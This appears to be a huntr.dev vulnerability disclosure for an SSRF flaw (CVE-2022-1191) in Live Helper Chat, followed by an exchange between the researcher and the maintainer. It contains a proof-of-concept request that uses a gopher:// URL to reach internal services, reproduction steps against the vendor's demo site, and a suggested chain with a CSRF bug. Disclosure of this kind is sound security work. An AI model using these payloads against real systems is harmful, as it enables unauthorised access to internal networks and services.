SSRF on index.php/cobrowse/proxycss/ in livehelperchat/livehelperchat

0

✓ Valid Reported on Mar 29th 2022

Description

Live Helper Chat is vulnerable to SSRF on the `/index.php/cobrowse/proxycss` endpoint. It's possible to make internal requests and see the response as an authenticated user, it's also possible to make an request with any protocol using `goppher://` .

Proof of Concept

Request
http://127.0.0.1/index.php/cobrowse/proxycss/1?base=gopher://0:80/xGET%20/&css=

```
GET /index.php/cobrowse/proxycss/1?base=gopher://0:80/xGET%20/&css= HTTP/1.
Host: 127.0.0.1
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: lhc_vid=10c9573dc50925e9141f; PHPSESSID=1f91a362084b1d87c4ebdf255fc
Connection: close
```

Chat with us

This could be used chained with the CSRF vulnerability https://huntr.dev/bounties/35ab4644-ff90-4723-ab05-ede4eddf69c6/ to achieve the SSRF without authentication.

Impact

An attacker could make the application perform arbitrary requests.

CVE
CVE-2022-1191
(Published)

Vulnerability Type
CWE-918: Server-Side Request Forgery (SSRF)

Severity
High (8.7)

Visibility
Public

Status
Fixed

Found by

Caio Lüders
@caioluders
legend

This report was seen 859 times.

We are processing your report and will contact the **livehelperchat** team within 24 hours.
8 months ago

We have contacted a member of the **livehelperchat** team and are waiting to hear back
8 months ago

Remigijus 8 months ago Maintainer

Provide full steps to reproduce. As this is just a theoretical issue without real impact as all information sensitive URL's is protected via CSRF

Chat with us

Caio Lüders 8 months ago Researcher

Hi Remigijus,

PoC

1 . Login on https://demo.livehelperchat.com/
2 . Access https://demo.livehelperchat.com/site_admin/cobrowse/proxycss/1?base=http://0&css=

You will see the response of the local Nginx server.

Impact

SSRF are a high impact vulnerability, as an attacker can force the server to send requests. With this SSRF it's possible to access the internal network and cloud infrastructure. Using the `gopher://` protocol an attacker can send requests in any protocol, not only HTTP, accessing the local MySQL database for example.

Altho the endpoint is only accessible for authenticated users, using the https://huntr.dev/bounties/35ab4644-ff90-4723-ab05-ede4eddf69c6/ bug an attacker can put the malicious link on the `[img]` and the SSRF will trigger when the Admin access the message .

You can read more about SSRF here : https://owasp.org/www-community/attacks/Server_Side_Request_Forgery

Remigijus 8 months ago Maintainer

I don't see any problem with seeing default nginx webpage. Please provide real world POC

Remigijus 8 months ago Maintainer

And the one with [img] tag I closed, because your POC is invalid as sensitive information is protected with CSRF.

Remigijus Kiminas validated this vulnerability 8 months ago

Caio Lüders has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Remigijus Kiminas marked this as fixed in 3.96 with commit c41f28 8 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

Chat with us